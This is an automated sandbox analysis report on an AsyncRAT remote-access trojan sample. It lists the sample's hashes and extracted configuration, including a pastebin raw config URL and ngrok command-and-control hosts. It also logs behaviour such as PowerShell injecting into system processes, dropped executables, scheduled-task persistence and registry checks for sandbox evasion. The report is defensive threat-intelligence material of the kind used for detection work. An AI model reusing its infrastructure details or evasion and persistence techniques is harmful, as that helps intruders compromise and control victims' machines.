asyncrat | 15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc

Resubmissions

30-10-2024 21:02

241030-zvd7eazlev 10

30-10-2024 19:27

241030-x6eafazemg 10

24-10-2024 22:13

241024-144zvsvhpq 10

Analysis

max time kernel
90s
max time network
92s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-10-2024 22:13

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Report Analysis Logs

General

Target

15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Size

578KB
MD5

0fc72f5b6c6a6109f6f3c3d43089e422
SHA1

7b05b6c35e5f1c2dd4aa215b4c0289c970b9cdab
SHA256

15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc
SHA512

fcb4251dd52a6bb04009078c5fe38ce014c50091c09c8b54ba3a1d8b910cdf4c915deb7b91838da53033d7da3602057453d651cdb561acc9d634962e31e2c5e3
SSDEEP

12288:rlMq2L06Z/oQNgZHjow6V3hLfIW2MxcSg4bQ5RtlcrdxYf:ZILJ9olJowwRLAWFDgqzdif

Score

10^/10

asyncrat lnjector discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

true

Botnet

LNjector

Mutex

NglVnt43hRGA

Attributes

delay
3
install
false
install_file
$77oui.exe
install_folder
%StartupStatus%
pastebin_config
https://pastebin.com/raw/e0jEz3T0

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4344 created 616 4344 powershell.EXE winlogon.exe

description	pid	process	target process
PID 4344 created 616	4344	powershell.EXE	winlogon.exe

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\94e0a7f9-2c14-4595-9ac1-213fc6448540.exe	family_asyncrat
C:\Users\Admin\AppData\Local\Temp\87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe	family_asyncrat

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe94e0a7f9-2c14-4595-9ac1-213fc6448540.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe

Executes dropped EXE 5 IoCs

Processes:

87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe94e0a7f9-2c14-4595-9ac1-213fc6448540.exe$77non.exe$77oui.exe5fc7b5e7-3f39-4691-a31e-d9c003fcfc3e.exe

pid	process
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
3180	$77non.exe
5092	$77oui.exe
2524	5fc7b5e7-3f39-4691-a31e-d9c003fcfc3e.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.EXE

pid process

4344 powershell.EXE
Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service
T1102

Processes:

flow ioc

68 2.tcp.eu.ngrok.io
70 6.tcp.eu.ngrok.io
30 pastebin.com
31 pastebin.com
32 pastebin.com
33 2.tcp.eu.ngrok.io
37 6.tcp.eu.ngrok.io
41 2.tcp.eu.ngrok.io

pid	process
4344	powershell.EXE

flow	ioc
68	2.tcp.eu.ngrok.io
70	6.tcp.eu.ngrok.io
30	pastebin.com
31	pastebin.com
32	pastebin.com
33	2.tcp.eu.ngrok.io
37	6.tcp.eu.ngrok.io
41	2.tcp.eu.ngrok.io

Drops file in System32 directory 14 IoCs

Processes:

svchost.exeOfficeClickToRun.exe94e0a7f9-2c14-4595-9ac1-213fc6448540.exepowershell.EXEsvchost.exe87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\SysWOW64\$77non.exe	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File created	C:\Windows\SysWOW64\$77oui.exe	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4344 set thread context of 4500 4344 powershell.EXE dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 4344 set thread context of 4500	4344	powershell.EXE	dllhost.exe

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

87bf4cc7-2d19-4f17-a861-69d4701bc2dd.execmd.exetimeout.exe$77non.exetimeout.exeschtasks.exeschtasks.exe$77oui.exe94e0a7f9-2c14-4595-9ac1-213fc6448540.execmd.execmd.execmd.exe5fc7b5e7-3f39-4691-a31e-d9c003fcfc3e.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77non.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77oui.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5fc7b5e7-3f39-4691-a31e-d9c003fcfc3e.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2552 timeout.exe
4952 timeout.exe

pid	process
2552	timeout.exe
4952	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exewmiprvse.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEOfficeClickToRun.exemousocoreworker.exesvchost.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1729808080"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 24 Oct 2024 22:14:41 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe

Modifies registry class 20 IoCs

Processes:

15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

232 schtasks.exe
4788 schtasks.exe

pid	process
232	schtasks.exe
4788	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exe94e0a7f9-2c14-4595-9ac1-213fc6448540.exe87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exepowershell.EXEdllhost.exe

pid	process
4476	powershell.exe
4476	powershell.exe
3640	powershell.exe
3640	powershell.exe
4156	powershell.exe
4156	powershell.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
